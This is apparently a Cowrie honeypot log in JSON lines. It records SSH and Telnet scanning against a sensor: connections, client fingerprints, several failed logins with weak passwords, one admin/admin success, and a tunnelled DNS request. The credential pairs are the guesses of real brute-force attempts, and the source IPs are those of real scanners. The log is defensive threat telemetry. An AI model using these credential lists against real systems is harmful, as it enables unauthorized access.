{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:46:00.768290Z","src_ip":"101.36.124.127","session":"8636eb9fe267","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123@123","message":"login attempt [admin/123@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:46:01.641084Z","src_ip":"101.36.124.127","session":"8636eb9fe267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:46:02.855494Z","src_ip":"101.36.124.127","session":"8636eb9fe267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":33804,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcd7e77af167","protocol":"ssh","message":"New connection: 37.143.61.84:33804 (159.203.135.109:22) [session: dcd7e77af167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:46:20.579911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:46:20.585253Z","src_ip":"37.143.61.84","session":"dcd7e77af167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:46:20.679652Z","src_ip":"37.143.61.84","session":"dcd7e77af167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"abc","message":"login attempt [test1/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:46:21.180070Z","src_ip":"37.143.61.84","session":"dcd7e77af167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:46:22.279569Z","src_ip":"37.143.61.84","session":"dcd7e77af167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":41282,"dst_ip":"159.203.135.109","dst_port":22,"session":"05fbf1303e77","protocol":"ssh","message":"New connection: 101.36.124.127:41282 (159.203.135.109:22) [session: 05fbf1303e77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:46:54.261183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:46:54.264903Z","src_ip":"101.36.124.127","session":"05fbf1303e77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:46:54.481829Z","src_ip":"101.36.124.127","session":"05fbf1303e77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"hadoop123","message":"login attempt [ubuntu/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:46:55.385568Z","src_ip":"101.36.124.127","session":"05fbf1303e77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:46:56.605875Z","src_ip":"101.36.124.127","session":"05fbf1303e77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":51718,"dst_ip":"159.203.135.109","dst_port":22,"session":"28e7864d8b4d","protocol":"ssh","message":"New connection: 96.70.252.227:51718 (159.203.135.109:22) [session: 28e7864d8b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:30.312937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:30.339444Z","src_ip":"96.70.252.227","session":"28e7864d8b4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:30.366480Z","src_ip":"96.70.252.227","session":"28e7864d8b4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123!@#","message":"login attempt [user/123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:30.520934Z","src_ip":"96.70.252.227","session":"28e7864d8b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:31.556563Z","src_ip":"96.70.252.227","session":"28e7864d8b4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.40.46","src_port":36372,"dst_ip":"10.17.0.5","dst_port":23,"session":"682799eab124","protocol":"telnet","message":"New connection: 102.210.40.46:36372 (10.17.0.5:23) [session: 682799eab124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:31.800923Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.80.80","src_port":48140,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3f60d0f2507","protocol":"telnet","message":"New connection: 45.79.80.80:48140 (159.203.135.109:23) [session: b3f60d0f2507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:34.310974Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.80.80","src_port":48136,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a6462129fcd","protocol":"telnet","message":"New connection: 45.79.80.80:48136 (159.203.135.109:23) [session: 1a6462129fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:34.314229Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.80.80","src_port":48124,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a935fe756a3","protocol":"telnet","message":"New connection: 45.79.80.80:48124 (159.203.135.109:23) [session: 2a935fe756a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:34.317315Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.80.80","src_port":48150,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5ea56d1587f","protocol":"telnet","message":"New connection: 45.79.80.80:48150 (159.203.135.109:23) [session: a5ea56d1587f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:36.315899Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":45418,"dst_ip":"10.17.0.5","dst_port":22,"session":"10278a0861ed","protocol":"ssh","message":"New connection: 27.119.7.6:45418 (10.17.0.5:22) [session: 10278a0861ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:37.608017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:37.612806Z","src_ip":"27.119.7.6","session":"10278a0861ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:37.840284Z","src_ip":"27.119.7.6","session":"10278a0861ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12341234","message":"login attempt [admin/12341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:38.685221Z","src_ip":"27.119.7.6","session":"10278a0861ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:39.876815Z","src_ip":"27.119.7.6","session":"10278a0861ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.932227611541748,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:44.733069Z","src_ip":"102.210.40.46","session":"682799eab124","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.80.80","src_port":56554,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d32a33cd619","protocol":"telnet","message":"New connection: 45.79.80.80:56554 (159.203.135.109:23) [session: 0d32a33cd619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:47.257501Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":38974,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed64c94350c1","protocol":"ssh","message":"New connection: 101.36.124.127:38974 (159.203.135.109:22) [session: ed64c94350c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:49.699518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:49.703182Z","src_ip":"101.36.124.127","session":"ed64c94350c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:49.920423Z","src_ip":"101.36.124.127","session":"ed64c94350c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11111111","message":"login attempt [user/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:50.822221Z","src_ip":"101.36.124.127","session":"ed64c94350c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:47:52.042288Z","src_ip":"101.36.124.127","session":"ed64c94350c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.975670337677002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:48:05.286498Z","src_ip":"45.79.80.80","session":"b3f60d0f2507","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.976494312286377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:48:05.290650Z","src_ip":"45.79.80.80","session":"1a6462129fcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97830891609192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:48:05.295530Z","src_ip":"45.79.80.80","session":"2a935fe756a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.935962677001953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:48:07.251733Z","src_ip":"45.79.80.80","session":"a5ea56d1587f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.962835788726807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:48:18.220248Z","src_ip":"45.79.80.80","session":"0d32a33cd619","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54134,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7b358e5d623","protocol":"ssh","message":"New connection: 87.251.64.176:54134 (10.17.0.5:22) [session: b7b358e5d623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:48:27.286903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:48:27.291364Z","src_ip":"87.251.64.176","session":"b7b358e5d623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:48:27.387721Z","src_ip":"87.251.64.176","session":"b7b358e5d623","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:48:27.676865Z","src_ip":"87.251.64.176","session":"b7b358e5d623","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:48:27.776868Z","session":"b7b358e5d623","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:48:27.874909Z","src_ip":"87.251.64.176","session":"b7b358e5d623","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:48:27.973378Z","src_ip":"87.251.64.176","session":"b7b358e5d623","protocol":"ssh"}
